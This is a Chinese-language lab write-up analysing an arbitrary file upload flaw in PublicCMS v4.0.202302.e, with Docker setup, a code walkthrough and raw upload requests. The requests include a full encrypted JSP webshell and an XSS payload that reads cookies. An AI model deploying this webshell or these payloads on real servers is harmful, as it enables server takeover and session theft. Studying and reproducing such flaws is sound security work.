漏洞描述
publicCms v.4.0.202302.e版本的/admin/cmsTemplate/savePlaceMetaData组件中存在任意文件上传漏洞,攻击者可通过上传精心制作的文件来执行任意代码。从而导致web服务器沦陷。
影响版本
publicCms v.4.0.202302.e版本
环境搭建
先使用docker拉取镜像
docker pull sanluan/publiccms:V4.0.202302.e
然后运行
docker run -d -p 8080:8080 sanluan/publiccms:V4.0.202302.e
接着把其中的war包拉到物理机上来调试(源码:https://gitee.com/sanluan/PublicCMS)
docker cp 41ee8cfd7165:/opt/publiccms.war publiccms.war
启动
java -jar -Dfile.encoding="UTF-8" -Dcms.port=8088 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Dcms.contextPath
=/publiccms -Dcms.filePath="data\publiccms" publiccms.war
漏洞分析
根据描述找到相应的路由
打了断点之后就去admin页面一直点,找相似的功能点,然后在这里看到了与模板相关的功能
对应的请求包
然后按类似的方法去请求一下savePlaceMetaData路由,成功进入断点
按照他给的参数,尝试构造了如下请求包
POST /publiccms/admin/cmsTemplate/savePlaceMetaData?callbackType=closeCurrent&navTabId=cmsTemplate/list HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------163966804931607146212670675591
Content-Length: 1670
Origin: http://localhost:8088
Connection: close
Referer: http://localhost:8088/publiccms/admin/
Cookie: JSESSIONID=A3F7ED4FB6F28DEA6820E72CB1FE641E; PUBLICCMS_ADMIN=1_e7c0ca14-1532-47f2-8e99-e7f909df6d48; PHPSESSID=a5ujvrauv1etduiv0rt3mpjnsu; XDEBUG_SESSION=10891; PUBLICCMS_ANALYTICS_ID=793e18a9-5397-4782-bbee-78a12d32c06d
Upgrade-Insecure-Requests: 1
Priority: u=4
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="_csrf"
e7c0ca14-1532-47f2-8e99-e7f909df6d48
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="path"
../
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="files"; filename="1.txt"
Content-Type: application/octet-stream
123
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="content"
123
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="encoding"
utf-8
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="ajax"
1
-----------------------------163966804931607146212670675591--
首先对path进行了是否为空的判断
然后将path与include拼接,传入siteComponent.getTemplateFilePath方法
然后调用getFullTemplatePath方法
判断path是否以/
或者\
开头,在将path传入getSafeFileName
将..
去除,然后传回,最后得到的filepath是这样的
然后根据我们传入的content以及刚刚得到的filepath,调用CmsFileUtils.createFile
调用完这个函数,可以看到已经创建了文件
可以看到这期间没有任何的后缀限制或是文件内容限制,仅仅有个防目录穿越的过滤,随后会调用一个metadataComponent.updatePlaceMetadata方法
最后调用一个savePlaceMetadata方法
这个metadataMap存储着我们上传的所有模板文件,savePlaceMetadata方法创建一个metadata.data文件,并将所有模板文件信息写入metadata.data
后面的代码就是一些日志的缓存的操作
接下来就是怎么访问我们上传的文件,观察一下同目录下的文件
看这些信息不像是在后台页面出现的,直接去前台找一下,访问一下/puliccms
,发现就是index.html
最后访问一下include
有了刚刚的分析,我尝试拼接一下include,发送如下请求包
POST /publiccms/admin/cmsTemplate/savePlaceMetaData?callbackType=closeCurrent&navTabId=cmsTemplate/list HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------163966804931607146212670675591
Content-Length: 1320
Origin: http://localhost:8088
Connection: close
Referer: http://localhost:8088/publiccms/admin/
Cookie: JSESSIONID=A3F7ED4FB6F28DEA6820E72CB1FE641E; PUBLICCMS_ADMIN=1_e7c0ca14-1532-47f2-8e99-e7f909df6d48; PHPSESSID=a5ujvrauv1etduiv0rt3mpjnsu; XDEBUG_SESSION=10891; PUBLICCMS_ANALYTICS_ID=793e18a9-5397-4782-bbee-78a12d32c06d
Upgrade-Insecure-Requests: 1
Priority: u=4
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="_csrf"
e7c0ca14-1532-47f2-8e99-e7f909df6d48
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="path"
.jsp
-----------------------------163966804931607146212670675591
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="content"
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="encoding"
utf-8
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="ajax"
1
-----------------------------163966804931607146212670675591--
发现并不解析,感觉getshell不太行,于是尝试一些其他的攻击,既然是html界面,可以试一试xss
POST /publiccms/admin/cmsTemplate/savePlaceMetaData?callbackType=closeCurrent&navTabId=cmsTemplate/list HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------163966804931607146212670675591
Content-Length: 773
Origin: http://localhost:8088
Connection: close
Referer: http://localhost:8088/publiccms/admin/
Cookie: JSESSIONID=A3F7ED4FB6F28DEA6820E72CB1FE641E; PUBLICCMS_ADMIN=1_e7c0ca14-1532-47f2-8e99-e7f909df6d48; PHPSESSID=a5ujvrauv1etduiv0rt3mpjnsu; XDEBUG_SESSION=10891; PUBLICCMS_ANALYTICS_ID=793e18a9-5397-4782-bbee-78a12d32c06d
Upgrade-Insecure-Requests: 1
Priority: u=4
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="_csrf"
e7c0ca14-1532-47f2-8e99-e7f909df6d48
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="path"
14.html
-----------------------------163966804931607146212670675591
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="content"
<img src=1 onerror=alert(document.cookie)>
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="encoding"
utf-8
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="ajax"
1
-----------------------------163966804931607146212670675591--
除了漏洞提到的这个接口,感觉模板功能那里直接也能上传任意文件,emmm,主要还是学习一下调试以及分析漏洞的方法吧(